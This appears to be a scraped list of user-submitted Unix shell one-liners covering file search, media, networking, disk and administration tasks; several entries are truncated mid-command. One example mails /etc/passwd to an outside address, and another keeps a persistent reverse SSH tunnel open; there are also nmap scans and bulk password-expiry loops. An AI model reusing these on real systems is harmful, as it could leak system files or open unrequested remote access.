 echo "(Something like http://foo.com/blah_blah)" | grep -oP "\b(([\w-]+://?|www[.])[^\s()<>]+(?:\([\w\d]+\)|([^[:punct:]\s]|/)))"

* Run command in an ftp session

 ftp>!w

* configify the list of gems on ur machine. the quick hack

 gem list --local | python -c "import sys;import re;l=sys.stdin.readlines();x=['config.gem \"'+line[:-1][:line.index(' ')] + '\" , ' +line[:-1][line.index(' '):].replace('(',':version => \"').replace(')','')+'\"' for line in l];print '\n'.join(x)"

* configify the list of gems on ur machine. the quick hack

 gem list --local | python -c "import sys;import

* Find in all files in the current directory, just a find shorthand

 grep -H -n "pattern" *

* Find all dot files and directories

 printf "%s\n" .*

* List the biggest accessible files/dirs in current directory,

 du -ms * 2>/dev/null |sort -nr|head

* Make all GUI stuff show up on the display connected to the

 DISPLAY=:0.0; export DISPLAY

* Show sorted list of files with sizes more than 1MB in the current

 find . -maxdepth 1 -type f -size +1M -printf "%f:%s\n" | sort -t":" -k2

* Get your external IP address

 wget -qO - http://www.sputnick-area.net/ip;echo

* force change password for all user

 while IFS=: read u x; do passwd -e "$u"; done < /etc/passwd

* Find all dot files and directories

 printf "%s\n" .*

* Testing reading speed with dd

 sync; time `dd if=/dev/cciss/c0d1p1 of=/dev/null bs=1M count=10240`

* Testing writing speed with dd

 sync; time `dd if=/dev/zero of=bigfile bs=1M count=2048 && sync`

* Better "hours of video" summary for each file/dir in the current

 for item in *;do echo -n "$item - ";find "$item" -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1 | xargs -d'\n' /usr/share/doc/mplayer/examples/midentify | grep ID_LENGTH | awk -F= '{sum+=$2} END {print(sum/60)}'; done | grep -v ' - 0$'

* Find all videos under current directory

 find ./ -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1

* force change password for all user

 getent passwd|cut -d: -f1|xargs -n1 passwd -e

* system beep off

 setterm -bfreq 0

* Provides external IP, Country and City in a formated manner.

 geoip () { curl -s "http://www.geoiptool.com/?IP=$1" | html2text | egrep --color 'City:|IP Address:|Country:' }

* geoip information

 geoiplookup www.commandlinefu.com

* shell function to turn start and length in to a range suitable

 range () { end=$(echo "$1 + $2 - 1" | bc); echo "$1-$end"; }

* slice a fixed number of characters from the output of a command,

 slice(){ cut -c$((${#1}+1))-; }; ls -l | slice "-rw-r--r--"

* slice a fixed number of characters from the output of a command,

 slice="-rw-r--r-- "; ls -l | cut -c $(echo "$slice" | wc -c)-

* Be notified about overheating of your CPU and/or motherboard

 sensors | grep "Core 1" | [[ `sed -e 's/^.*+\([0-9]\{2,3\}\).*(.*/\1/'` -gt 50 ]] && notify-send "Core 1 temperature exceeds 50 degrees"

* Start the x11vnc server

 x11vnc -display :0 -scale 6/7 -rfbauth vncpass -forever

* Create x11vnc server authentication file

 x11vnc -storepasswd your_new_apssword ~/my_vnc_pass

* List all available commands

 in bash hit "tab" twice and answer y

* geoip information

 geo(){ curl -s "http://www.geody.com/geoip.php?ip=$(dig +short $1)"| sed '/^IP:/!d;s/<[^>][^>]*>//g'; }

* Show a script or config file without comments

 egrep -v "^[[:blank:]]*($|#|//|/\*| \*|\*/)" somefile

* Create a simple backup

 tar pzcvf /result_path/result.tar.gz /target_path/target_folder

* Sort movies by length, longest first

 for i in *.avi; do echo -n "$i:";mediainfo $i|head | grep PlayTime | cut -d: -f2 ; done | sort -t: -k2 -r

* Get ethX mac addresses

 ifconfig | awk '/HW/ {print $5}'

* Get ethX mac addresses

 ip link show eth0 | grep "link/ether" | awk '{print $2}'

* Build an exhaustive list of maildir folders for mutt

 find ~/Maildir/ -mindepth 1 -type d | egrep -v '/cur$|/tmp$|/new$' | xargs

* Sum of the total resident memory Stainless.app is using.

 ps -ec -o command,rss | grep Stainless | awk -F ' ' '{ x = x + $2 } END { print x/(1024) " MB."}'

* Attach all discovered iscsi nodes

 iscsiadm -m node -l

* Add the sbin directories to your PATH if it doesn't already exist

 path+=( /sbin /usr/sbin /usr/local/sbin ); path=( ${(u)path} );

* Search vmware vmx files if Linux guests are set to sync time to

 for x in `find /vmfs/volumes/ -name *vmx -exec grep -H linux.iso {} \; |cut -d : -f 1`; do echo $x; grep -i sync $x; done;

* Empty a file

 > [filename].txt

* Erase empty files

 find . -size 0 -exec rm '{}' \;

* Receiving alerts about commands who exit with failure

 export PROMPT_COMMAND='( x=$? ; let x!=0 && echo shell returned $x )'

* Tweet my ip ( see your machine ip on twitter )

 STAT=`curl http://www.whatismyip.org/`; curl -u YourUserName:YourPassword -d status=$STAT http://twitter.com/statuses/update.xml

* Calculating series with awk: add numbers from 1 to 100

 awk 'BEGIN {for(i=1;i<=100;i++)sum+=i}; END {print sum}' /dev/null

* Get ssh server fingerprints

 ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub && ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key.pub

* Remove CR LF from a text file

 flip -u $FILE

* Prints per-line contribution per author for a GIT repository

 git ls-files | while read i; do git blame $i | sed -e 's/^[^(]*(//' -e 's/^\([^[:digit:]]*\)[[:space:]]\+[[:digit:]].*/\1/'; done | sort | uniq -ic | sort -nr

* grep -v with multiple patterns.

 sed -n '/test/{/error\|critical\|warning/d;p}' somefile

* view the system console remotely

 sudo cat /dev/vcs1 | fold -w 80

* Download all Delicious bookmarks

 curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all

* Schedule a download at a later time

 echo 'wget url' | at 01:00

* Add calendar to desktop wallpaper

 convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black -draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg

* create dir tree

 mkdir -p doc/{text/,img/{wallpaper/,photos/}}

* Backup your hard drive with dd

 sudo dd if=/dev/sda of=/media/disk/backup/sda.backup

* Quick glance at who's been using your system recently

 last | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c

* Get Dell Service Tag Number from a Dell Machine

 sudo dmidecode | grep Serial\ Number | head -n1

* change directory to actual path instead of symlink path

 cd `pwd -P`

* Generat a Random MAC address

 MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`

* Get list of servers with a specific port open

 nmap -sT -p 80 -oG - 192.168.1.* | grep open

* ssh tunnel with auto reconnect ability

 while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes -R 2222:localhost:22 target "while nc -zv localhost 2222; do sleep 5; done"; sleep 5;done

* Use last argument of last command

 file !$

* A function to output a man page as a pdf file

 function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf -dCompatibility=1.3 - - > ${1}.pdf; }

* Save current layout of top

 <Shift + W>

* Mount the first NTFS partition inside a VDI file (VirtualBox Disk

 mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd -n 1000000 image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) image.vdi /mnt/vdi-ntfs

* Use all the cores or CPUs when compiling

 make -j 4

* Create a list of binary numbers

 echo {0..1}{0..1}{0..1}{0..1}

* Create a system overview dashboard on F12 key

 bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m"""

* Find last reboot time

 who -b

* Start screen in detached mode

 screen -d -m [<command>]

* Ctrl+S Ctrl+Q terminal output lock and unlock

 Ctrl+S Ctrl+Q

* StopWatch, toilet version, amazing format inside terminal

 export I=$(date +%s); watch -t -n 1 'T=$(date

* StopWatch, OnScreen version, blinking shily on all desktops

 export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds) | osd_cat -o 20 -d 1 -p bottom'

* Show bash's function definitions you defined in .bash_profile or

 declare -f [ function_name ]

* List bash functions defined in .bash_profile or .bashrc

 set | fgrep " ()"

* Show current folder permission recursively from /, useful for

 pushd .> /dev/null; cd /; for d in `echo $OLDPWD | sed -e 's/\// /g'`; do cd $d; echo -n "$d "; ls -ld .; done; popd >/dev/null

* Convert Windows/DOS Text Files to Unix

 flip -u <filenames>

* create a motion jpeg (MJPEG) with the jpg file from current

 mencoder mf://image1.jpg,image2.jpg,image3.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc copy -oac copy -o output.avi

* Create a mpeg4 video from a jpeg picture sequence (e.g. for pencil

 mencoder mf://*.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc lavc -lavcopts vcodec=mpeg4 -oac copy -o output.avi

* Command to build one or more network segments - with for

 seg() { for b in $(echo $1); do for x in $(seq 10); do echo $b.$x; done; done }

* Command to build one or more network segments - with while

 seg() { echo -e "$1" | while read LINE; do for b in $(seq 10); do echo $LINE.$b; done; done; }

* Partition a new disk as all one partition tagged as "LInux LVM"

 echo -e "n\np\n1\n\n\nt\n8e\nw" | fdisk /dev/sdX

* Set default "New Page" as HTML in TextMate

 defaults write com.macromates.textmate OakDefaultLanguage 17994EC8-6B1D-11D9-AC3A-000D93589AF6

* encode image to base64 and copy to clipboard

 uuencode -m $1 /dev/stdout | sed '1d' | sed '$d' | tr -d '\n' | xclip -selection clipboard

* Battery real life energy vs predicted remaining plotted

 echo start > battery.txt; watch -n 60 'date >> battery.txt ; acpi -b >> battery.txt'

* Do you really believe on Battery Remaining Time? Confirm it from

 echo start > battery.txt; watch -n 60 'date >> battery.txt'

* Get decimal ascii code from character

 ord() { printf "%d\n" "'$1"; }

* Testing hard disk writing speed

 time dd if=/dev/zero of=TEST bs=4k count=512000

* record alexa traffic stats of your website

 x=1 ; while [ $x -le 10 ] ; do lynx -dump http://www.alexa.com/siteinfo/http://[YOUR WEBSITE] | grep Global | sed 's/ \|Global\|\,//g' >> /var/log/alexa-stats.txt ; sleep 5h ; done &

* Get decimal ascii code from character

 ord () { seq 1 127 | while read i; do echo `chr $i` $i; done | grep "^$1 " | cut -c '3-' }

* google search

 perl -e '$i=0;while($i<10){open(WGET,qq/|xargs lynx -dump/);printf WGET qq{http://www.google.com/search?q=site:g33kinfo.com&hl=en&start=$i&sa=N },$i+=10}'|grep '\/\/g33kinfo.com\/'

* Set gnome wallpaper to a random jpg from the specified directory

 gconftool -t str -s /desktop/gnome/background/picture_filename "`find /DIR_OF_JPGS -name '*.jpg' | shuf -n 1`"

* A quick shell command to weed out the small wallpapers

 for i in ~/Desktop/Personal/Wallpapers/*.jpg ; { size=$((`identify -format "%wx%h" $i | sed 's/x/*/'`)) ; if [[ $size -lt 800001 ]] then ; rm -f "$i" ; fi; }

* GZip all files in a directory separately

 for file in *.foo; do gzip "$file"; done

* Command to resolve name from Ip address, passing only the last

 seq 4|xargs -n1 -i bash -c "echo -n 164.85.216.{} - ; nslookup 164.85.216.{} |grep name"|tr -s ' ' ' '|awk '{print $1" - "$5}'|sed 's/.$//'

* Monitor a file's size

 while [ 1 ]; do du /var/log/messages;sleep 60; done

* Check if variable is a number

 echo $X | egrep "^[0-9]+$"

* View firewall config including devices on linux w/netfilter

 iptables -L -n -v

* sort lines by length

 awk '{print length, $0;}' | sort -nr

* Get last changed revision to all eclipse projects in a SVN working

 find . -iname ".project"| xargs -I {} dirname {} | LC_ALL=C xargs -I {} svn info {} | grep "Last Changed Rev\|Path" | sed "s/Last Changed Rev: /;/" | sed "s/Path: //" | sed '$!N;s/\n//'

* Convert unix timestamp to date

 date -ud "1970-01-01 + 1234567890 seconds"

* List only locally modified files with CVS

 cvs -n update 2>null | grep -i "M " | sed s/"M "//

* Bashbuiltin printf

 cat file.txt | while read line; do printf "%7.2f -> %7.2f\n" $line; done

* List open TCP/UDP ports

 netstat -ltun

* List open TCP/UDP ports

 netstat -anp --tcp --udp | grep LISTEN

* Consistent Oracle Datapump Export

 expdp user/password FLASHBACK_SCN=$(echo -e "select current_scn from v\$database;" | sqlplus / as sysdba 2>/dev/null| grep [0-9][0-9][0-9][0-9][0-9][0-9]*)

* Are 64-bit applications supported on my Solaris OS?

 isainfo -vb

* convert string to array

 s=124890; array=($(echo $s | sed 's/./& /g')); echo ${array[@]}; echo

* convert string to array

 s="124890";for i in $(seq 0 1 $((${#s}-1))); do arr[$i]=${s:$i:1}; done

* Open your application to a specific size and location

 command -geometry 120x30+1280+0

* Log a command's votes

 while true; do curl -s http://www.commandlinefu.com/commands/view/3643/log-a-commands-votes | grep 'id="num-votes-' | sed 's;.*id="num-votes-[0-9]*">\([0-9\-]*\)</div>;\1;' >> votes; sleep 10; done

* Colorized grep in less

 ack --pager='less -r'

* futz.me - Send yourself notes from the command line

 lynx "futz.me/xxx hey this is a test"

* Find duplicate dir in path

 echo $PATH|tr : '\n'|sort|uniq -d

* Randomize lines (opposite of | sort)

 cat ~/SortedFile.txt | perl -wnl -e '@f=<>; END{ foreach $i (reverse 0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] unless ($i==$r); } chomp @f; foreach $line (@f){ print $line; }}'

* find . -name "*.txt" | xargs sed -i "s/old/new/"

 find . -name "*.txt" | xargs sed -i "s/old/new/"

* svn diff $* | colordiff | lv -c

 svn diff $* | colordiff | lv -c

* Recursive Ownership Change

 sudo chown -R user2:user2 /../../somedirectory

* Execute a command with a timeout

 perl -e "alarm 10; exec @ARGV" "somecommand"

* Show which include directories your installation of Perl is

 perl -le 'print join $/, @INC'

* Dump all of perl's config info

 perl -le 'use Config; foreach $i (keys %Config) {print "$i : @Config{$i}"}'

* Go get those photos from a Picasa album

 echo 'Enter Picasa album RSS URL:"; read -e feedurl; GET "$feedurl" |sed 's/</\n</g' | grep media:content |sed 's/.*url='"'"'\([^'"'"']*\)'"'"'.*$/\1/' > wgetlist

* List all text files (exclude binary files)

 find . | xargs file | grep ".*: .* text" | sed "s;\(.*\): .* text.*;\1;"

* Learn how to stop mistyping "ls" the fun way

 apt-get install sl; sl

* List the size (in human readable form) of all sub folders from the

 du -h --max-depth=1

* Query Wikipedia via console over DNS

 dig +short txt <keyword>.wp.dg.cx

* Display the top ten running processes - sorted by memory usage

 ps aux | sort -nk +4 | tail

* A very simple and useful stopwatch

 time read (ctrl-d to stop)

* Place the argument of the most recent command on the shell

 'ALT+.' or '<ESC> .'

* Quick access to the ascii table.

 man ascii

* Shutdown a Windows machine from Linux

 net rpc shutdown -I ipAddressOfWindowsPC -U username%password

* Execute a command without saving it in the history

 <space>command

* Jump to a directory, execute a command and jump back to current

 (cd /tmp && ls)

* Clear the terminal screen

 ctrl-l

* Backticks are evil

 echo "The date is: $(date +%D)"

* Reboot machine when everything is hanging

 <alt> + <print screen/sys rq> + <R> - <S> - <E> - <I> - <U> - <B>

* Easily search running processes (alias).

 alias 'ps?'='ps ax | grep '

* Rip audio from a video file.

 mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>

* Matrix Style

 tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"

* Watch Star Wars via telnet

 telnet towel.blinkenlights.nl

* Stream YouTube URL directly to mplayer.

 mplayer -fs $(echo "http://youtube.com/get_video.php?$(curl -s $youtube_url | sed -n "/watch_fullscreen/s;.*\(video_id.\+\)&title.*;\1;p")")

* Use heading subtitle file as watermark using mencoder

 mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac

* Send a local file via email

 cat filename | uuencode filename | mail -s "Email subject" user@example.com

* Bulk copy large blocks of data between File Systems (run as root

 tar cpof - src |( cd des; tar xpof -)

* list the last week's added files in xmms2's library

 xmms2 mlib search added \> $(echo $(date +%s) - 604800|bc)

* View a sopcast stream

 (sp-sc sop://broker.sopcast.com:3912/6002 3900 8900 &>/dev/null &); sleep 10; mplayer http://localhost:8900/tv.asf

* Show only existing executable dirs in PATH using only builtin bash

 for p in ${PATH//:/ }; do [[ -d $p && -x $p ]] && echo $p; done

* for loop with leading zero in bash 3

 printf "%02u " {3..20}; echo

* for loop with leading zeros

 for s in `seq -f %02.0f 5 15`; do echo $s; done

* Substitution cipher

 echo "Decode this"| tr [a-zA-Z] $(echo {a..z} {A..Z}|grep -o .|sort -R|tr -d "\n ")

* regex to match an ip

 echo 254.003.032.3 | grep -P '^((25[0-4]|2[0-4]\d|[01]?[\d]?[1-9])\.){3}(25[0-4]|2[0-4]\d|[01]?[\d]? [1-9])$'

* replace @ symbol with new line character, to get new line

 %s/@/^v[M]/g

* Tar a directory and its sub-directory

 tar cvfz dir_name.tgz dir/

* http://www.merriam-webster.com/dictionary/ultimate

 ultimate

* Run remote web page, but don't save the results

 wget -q --spider http://server/cgi/script

* Mount an ISO image on Mac OS X

 hdiutil mount sample.iso

* When need to compress the Zope Database

 python fsrecovery.py -P 0 -f <path-to-instance>/Data.fs <path-to-instance-destination>/Data.fs.packed

* find files in $PATH that were not installed through dpkg

 echo -e "${PATH//://\n}" >/tmp/allpath; grep -Fh -f /tmp/allpath

* Create a zip file ignoring .svn files

 find . -not \( -name .svn -prune \) -type f | xargs zip XXXXX.zip

* Search OpenSolaris packages and show only the pkg names

 pkg search SEARCH_TERM | awk '{print $NF}' | sed -e 's;.*/\(.*\)\@.*;\1;' | sort -u

* Put the machine to sleep after the download(wget) is done

 while [ -n "`pgrep wget`" ]; do sleep 2 ;done; [ -e "/tmp/nosleep"] || echo mem >/sys/power/state

* View the octal dump of a file

 od -vt x1 /tmp/spaghettifile

* Add another tty device using mknod command

 sudo mknod /dev/ttyS4 c 4 68

* badblocks for floppy

 /sbin/badblocks -v /dev/fd0 1440

* How to watch files

 watch -d 'ls -l'

* Watching Command

 watch 'cat /proc/loadavg'

* See if your mac can run 64-bit && if it the kernel is loaded

 ioreg -l -p IODeviceTree | grep -o EFI[0-9]. && system_profiler SPSoftwareDataType |grep 64

* bash/ksh function: given a file, cd to the directory it lives

 function fcd () { [ -f $1 ] && { cd $(dirname $1); } || { cd $1 ; } pwd }

* Edit all files found having a specific string found by grep

 grep -ir 'foo' * | awk -F '{print $1}' | xargs vim

* Edit all files found having a specific string found by grep

 grep -ir 'foo' * | awk '{print $1}' | sed -e 's/://' | xargs vim

* list all hd partitions

 fdisk -l |grep -e '^/' |awk '{print $1}'|sed -e "s|/dev/||g"

* find files containing text

 grep -lir "sometext" * > sometext_found_in.log

* Another way to see the network interfaces

 ip addr show

* scp a good script from host A which has no public access to host

 ssh middlehost "ssh -a root@securehost '> nicescript'" < nicescript

* Download entire commandlinefu archive to single file

 for x in `jot - 0 \`curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1\` 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$ x" ; done >a.txt

* Do a search-and-replace in a file after making a backup

 for file in <filename>; do cp $file{,.bak} && sed 's/old/new/g' $file.bak > $file; done

* Resolve the "all display buffers are busy, please try later" error

 dm display-buffer reset

* Get number of diggs for a news URL

 curl -s "http://services.digg.com/stories?link=$NEWSURL&appkey=http://www.whate ver.com&type=json" | python -m simplejson.tool | grep diggs

* Verbosely delete files matching specific name pattern, older than

 find /backup/directory -name "FILENAME_*" -mtime +15 -exec rm -vf {};

* locate a filename, make sure it exists and display it with full

 locate -e somefile | xargs ls -l

* List files and sizes

 find / -type f -exec wc -c {} \; | sort -nr | head -100

* power off system in X hours form the current time, here X=2

 echo init 0 | at now + 2 hours

* purge old stale messages on a qmail queue

 for i in `grep "unable to stat" /var/log/syslog | cut -d "/" -f 3 | sort | uniq`; do find /var/qmail/queue -name $i -type f -exec rm -v {} \; ; done

* delete all DrWeb status, failure and other messages on a postfix

 mailq | grep DrWEB | awk {'print $1'} | sed s/*//g | postsuper -d -

* less an message on a postfix mailsystem with a specific

 id=<XXXX>; find /var/spool/postfix/ -name $id -exec less {} \;

* replace old htaccess php AddHandler values with new one

 find /var/www/ -type f -name ".htaccess" -exec perl -pi -e 's/AddHandler[\s]*php(4|5)-cgi/AddHandler x-httpd-php\1/' {} \;

* Have a list of directories in a file, ending with newlines and

 cat filename | tr '\n' '\0' | du -hsc ?files0-from=-

* Download all Phrack .tar.gzs

 for ((i=1; i<67; i++)) do wget http://www.phrack.org/archives/tgz/phrack${i}.tar.gz -q; done

* Remove CR from Windows- / DOS-textfiles

 dos2unix file.txt

* Watch changeable interrupts continuously

 watch -n1 'cat /proc/interrupts

* Merge ( directories [looking for improvement]

 (cd SRC; find . -type d -exec mkdir TARGET/{} ";"; find . -type f -exec mv {} TARGET/{} ";")

* total text files in current dir

 file -i * | grep 'text/plain' | wc -l

* An easter egg built into python to give you the Zen of Python

 echo "import this" | python

* checks if host /service is up on a host that doesn't respond to

 while true; do clear; nmap ${hostname} -PN -p ${hostport}; sleep 5; done

* print latest (top 10, top 3 or *) commandlinefu.com commands

 wget -qO - http://www.commandlinefu.com/feed/tenup | xmlstarlet sel -T -t -o '&lt;x&gt;' -n -t -m rss/channel/item -o '&lt;y&gt;' -n -v description -o '&lt;/y&gt;' -n -t -o '&lt;/x&gt;' | xmlstarlet sel -T -t -m x/y -v code -n

* Analyze awk fields

 tr " " "\n" | nl

* Add "prefix" on a bunch of files

 for a in *; do mv $a prefix${a}; done

* Get Interface's IP on Mac

 ipconfig getifaddr <Interface>

* Picture Renamer

 ls -1 *.jpg | while read fn; do export pa=`exiv2 "$fn" | grep timestamp | awk '{ print $4 " " $5 ".jpg"}' | tr ":" "-"`; mv "$fn" "$pa"; done

* pipe commands from a textfile to a telnet-server with netcat

 nc $telnetserver 23 < $commandfile

* Copy files from list with hierarchy

 cat files.txt | xargs tar -cv | tar -x -c $DIR/

* Send SNMP traps

 sudo snmptrap -m ALL -v 2c -c public trapserver "" UCD-DEMO-MIB::ucdDemoPublic SNMPv2-MIB::sysLocation.0 s "Just here"

* Create more threads with less stack space

 ulimit -s 64

* modify (mozldap) with proxy authentication and no other controls

 ldapmodify -Y "dn:uid=rob,dc=example.com" -g -R -J 2.16.840.1.113730.3.4.16 ...

* Convert a batch of images to a Video

 mencoder "mf://frame_*.bmp" -mf w=720:h=480:fps=30:type=bmp -ovc lavc

* Command to display how much resource is taken by cpu and which

 pidstat -C "ffmpeg" -u

* Lists unambigously names of all xml elements used in files in

 grep -Eho '<[a-ZA-Z_][a-zA-Z0-9_-:]*' * | sort -u | cut -c2-

* use curl to resume a failed download

 cat file-that-failed-to-download.zip | curl -C - http://www.somewhere.com/file-I-want-to-download.zip >successfully-downloaded.zip

* Batch image resize

 for a in `ls`; do echo $a && convert $a -resize <Width>x<Height> $a; done

* skipping five lines, at top, then at bottom

 seq 1 12 | sed 1,5d ; seq 1 12 | head --lines=-5

* Generate Files with Random Content and Size in Bash

 no_of_files=10; counter=1; while [[ $counter -le $no_of_files ]]; do echo Creating file no $counter; dd bs=1024 count=$RANDOM skip=$RANDOM if=/dev/sda of=random-file.$counter; let "counter += 1"; done

* Gentoo: Get the size of all installed packets, sorted

 equery s | sed 's/(\|)/ /g' | sort -n -k 9 | gawk '{print $1" "$9/1048576"m"}'

* Get all IPs via ifconfig

 ipconfig getpacket en0 | grep yi| sed s."yiaddr = "."en0: ". ipconfig getpacket en1 | grep yi| sed s."yiaddr = "."en1: ".

* Bypass 1000 Entry limit of Active Directory with ldapsearch

 ldapsearch -LLL -H ldap://${HOST}:389 -b 'DC=${DOMAIN},DC=${TLD}' -D '${USER}' -w 'password' objectclass=* -E pr=2147483647/noprompt

* Change a text files contents without opening it, or intermediate

 print 'g/'delete this line'/delete\nwq' | ex file.txt

* Change open file descriptors limit.

 ulimit -n <value>

* ignore hidden directory in bash completion (e.g. .svn)

 Add to ~/.inputrc: set match-hidden-files off

* Send Reminders from your Linux Server to Growl on a Mac

 remind -z1 -k'echo %s |ssh <user>@<host> "growlnotify"' ~/.reminders &

* Test your total disk IO capacity, regardless of caching, to find

 time dd if=/dev/zero of=blah.out oflag=direct bs=256M count=1

* Create a file list of all package files installed on your

 for i in `rpm -qva | sort ` ; do ; echo "===== $i =====" ; rpm -qvl $i ; done > /tmp/pkgdetails

* Test network performance, copying from the mem of one box, over

 dd if=/dev/zero bs=256M count=1 | nc [remoteIP] [remotePort] and on the other host nc -l port >/dev/null

* Fast grepping (avoiding UTF overhead)

 export LANG=C; grep string longBigFile.log

* Watch number of lines being processed on a clear screen

 cat /dev/urandom|awk 'BEGIN{"tput cuu1" | getline CursorUp; "tput clear" | getline Clear; printf Clear}{num+=1;printf CursorUp; print num}'

* Sorting by rows

 infile=$1 for i in $(cat $infile) do echo $i | tr "," "\n" | sort -n | tr "\n" "," | sed "s/,$//" echo done

* kill some process (same as others) but parsing to a variable

 pkill -9 -f program

* Test if the given argument is a valid ip address.

 perl -e '$p=qr!(?:0|1\d{0,2}|2(?:[0-4]\d?|5[0-5]?|[6-9])?|[3-9]\d?)!;print((shi ft=~m/^$p\.$p\.$p\.$p$/)?1:0);' 123.123.123.123

* SSH monitor

 ssh root@server 'tail --max-unchanged-stats=10 -n0 -F /var/log/auth.log ' | grep Accepted | while read l ; do kdialog --title "SSH monitor" --passivepopup "$l" 3; done

* Printing multiple years with Unix cal command

 for y in 2009 2010 2011; do cal $y; done

* Matrix Style

 while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done;

* Migrate gems from one ruby installation to another

 /originalInstall/gem list | tr -d '(),' | xargs -L 1 sudo ./gemInst.sh

* Find files with lines that do not match a pattern

 fmiss() { grep -cR "$*" * | grep -E ':0$' | cut -d: -f1 ; }

* Scan computers OS and open services on all network

 nmap -O 192.168.1.1/24

* bbs in utf8 console

 luit -encoding gbk telnet bbs.sysu.edu.cn

* Puts every word from a file into a new line

 sed -r 's/[ \t\r\n\v\f]+/\^J/g' INFILE > OUTFILE

* Overwrite local files from copies in a flat directory, even if

 for f in $(find * -maxdepth 0 -type f); do file=$(find ~/target -name $f); if [ -n "$file" ]; then cp $file ${file}.bak; mv $f $file; fi; done

* Frequency Sweep

 l=500; x=500; y=200; d=-15;for i in `seq $x $d $y`; do beep -l $l -f $i;done

* get a list of running virtual machines from the command line

 vmrun list

* run vmware virtual machine from the command line without the gui

 vmrun start /path/to/virtual_machine.vmx nogui

* Check if you need to run LaTeX more times to get the refefences

 egrep "(There were undefined references|Rerun to get (cross-references|the bars) right)" texfile.log

* Quickly clean log files (assuming you don't want them anymore)

 for file in `find /var/log/ -type f -size +5000k`; do > $file; done

* Quickly clean log files (assuming you don't want them anymore)

 for file in `find /var/log/ -type f -size +5000k`; do echo " " > $file; done

* my command for downloading delicious web links,

 wget -r --wait=5 --quota=5000m --tries=3 --directory-prefix=/home/erin/Documents/erins_webpages --limit-rate=20k --level=1 -k -p -erobots=off -np -N --exclude-domains=del.icio.us,doubleclick.net -F -i ./delicious-20090629.htm

* Extract the emoticons regex from a running skype process

 S=`pidof skype`;grep heap /proc/$S/maps|cut -f1 -d' '|awk -F- '{print "0x" $1 " 0x" $2}'|xargs echo "du me t ">l;gdb -batch -p $S -x l>/dev/null 2>&1;strings t|grep \(smirk|head -n1

* Untar file with absolute pathname to relative location

 pax -r -s ',^/,,' -f file.tar

* Open a Remote Desktop (RDP) session with a custom resolution.

 mstsc /w:1500 /h:900 /v:www.example.com

* get linkspeed, ip-adress, mac-address and processor type from osx

 echo "-------------" >> nicinfo.txt; echo "computer name x" >> nicinfo.txt; ifconfig | grep status >> nicinfo.txt; ifconfig | grep inet >> nicinfo.txt; ifconfig | grep ether >> nicinfo.txt; hostinfo | grep type >> nicinfo.txt;

* String Capitalization

 echo "${STRING}" | tr '[A-Z]' '[a-z]' | awk '{print toupper(substr($0,1,1))substr($0,2);}'

* vim insert current filename

 :r! echo %

* Match non-empty lines

 grep -v "^\W$" <filename>

* find large files

 ls -s | sort -nr | more

* Create a random file of a specific size

 dd if=/dev/zero of=testfile.txt bs=1M count=10

* Extract the daily average number of iops

 for x in `seq -w 1 30`; do sar -b -f /var/log/sa/sa$x | gawk '/Average/ {print $2}'; done

* Send multiple attachments using mailx

 (uuencode foo.txt foo.txt; uuencode /etc/passwd passwd.txt)|mailx -s "Pandaren!" someone@cmdfu.com

* Extract multiple file in a directory

 for i in *.tar.gz; do tar -xzf $i; done

* Finds all of the mailers being used in your rails app

 egrep -r '(render_message|multipart).*('`find app/views -name '*.erb' | grep mailer | sed -e 's/\..*//' -e 's/.*\///' | uniq | xargs | sed 's/ /|/g'`')' app/models

* I hate `echo X | Y`

 base64 -d <<<

* Rsync remote data as root using sudo

 rsync --rsync-path 'sudo rsync' username@source:/folder/ /local/

* find the process that is using a certain port e.g. port 3000

 lsof -P | grep ':3000'

* Check Ram Speed and Type in Linux

 sudo dmidecode --type 17 | more

* Grep for word in directory (recursive)

 grep --color=auto -iRnH "$search_word" $directory

* List of commands you use most often

 history | awk '{print $2}' | sort | uniq -c | sort -rn | head

* Recursively remove .svn directories from the current location

 find . -type d -name '.svn' -print0 | xargs -0 rm -rdf

* find process associated with a port

 fuser [portnumber]/[proto]

* Get http headers for an url

 curl -I www.commandlinefu.com

* copy working directory and compress it on-the-fly while showing

 tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz

* Clean your broken terminal

 stty sane

* geoip information

 curl -s "http://www.geody.com/geoip.php?ip=$(curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g'

* Unbelievable Shell Colors, Shading, Backgrounds, Effects for

